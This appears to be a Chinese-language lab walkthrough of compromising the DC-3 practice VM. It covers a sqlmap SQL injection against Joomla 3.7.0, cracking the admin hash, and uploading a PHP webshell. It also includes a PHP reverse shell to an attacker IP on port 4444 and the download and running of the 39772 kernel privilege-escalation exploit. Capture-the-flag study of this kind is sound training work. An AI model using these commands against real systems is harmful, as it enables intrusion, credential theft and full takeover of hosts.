查找靶机IP
端口扫描
目录扫描
找到两个可访问链接
http://192.168.254.3/index.php
http://192.168.254.3/administrator/
看一下指纹
确定有joomla
JoomScan安装
1、更新apt
sudo apt update
2、安装joomscan
sudo apt install joomscan
使用joomscan来扫描DC-3
joomscan -u 192.168.254.3
发现joomla版本 3.7.0
查找漏洞利用
将模块复制到当前目录
searchsploit -m 42033.txt
查看
看到sqlmap 语句
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
将localhost改成靶机IP
爆表
python sqlmap.py -u “http://192.168.254.3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --tables -D joomladb -p list[fullordering]
查表
查字段
admin | $2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin |
---|---|---|
john破解
snoopy
所以:用户名密码:admin,snoopy
在http://192.168.254.3/index.php发现编写处,发现有过滤,跳过
http://192.168.254.3/administrator/index.php
发现文件上传
在Joomla框架中,Templates是直接存在于根目录下的,于是我们进行访问查看一句话木马是否上传成功,我们进入网站查看测试。
http://192.168.254.3/templates/beez3/shell.php
蚁剑连接
发现常规反弹不了,通过php文件反弹
<?php
system ("bash -c 'sh -i >& /dev/tcp/192.168.254.6/4444 0>&1'");
?>
蚁剑上传
反弹成功
变成交互shell界面
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l什么都没有
cat /etc/issue查看版本
发现Ubuntu版本
发现一个提权漏洞(Privilege Escalation 特权升级)
python3 -m http.server 8088
访问网页
http://192.168.254.6:8088/39772.txt
出现这个说明服务开启成功
接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里
直接提取是报错:装入归档文件时出现了一个错误
解决办法
用一下命令解压
┌──(root💀kali)-[~]
└─#jar xvf 39772.zip
Ick! 0xa0a0a0a
┌──(root💀kali)-[~]
└─# unzip -n 39772.zip
exp地址是
http://http://192.168.254.6:8088//39772/39772/exploit.tar
回到我们的虚拟终端,利用wget命令下载该工具
wget http://http://192.168.254.6:8088//39772/39772/exploit.tar
这里我直接用蚁剑上传
在shell中进行解压。
tar -xvf exploit.tar
进入解压后的目录中,按照searchsploit工具中的提示进行提权。
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
./doubleput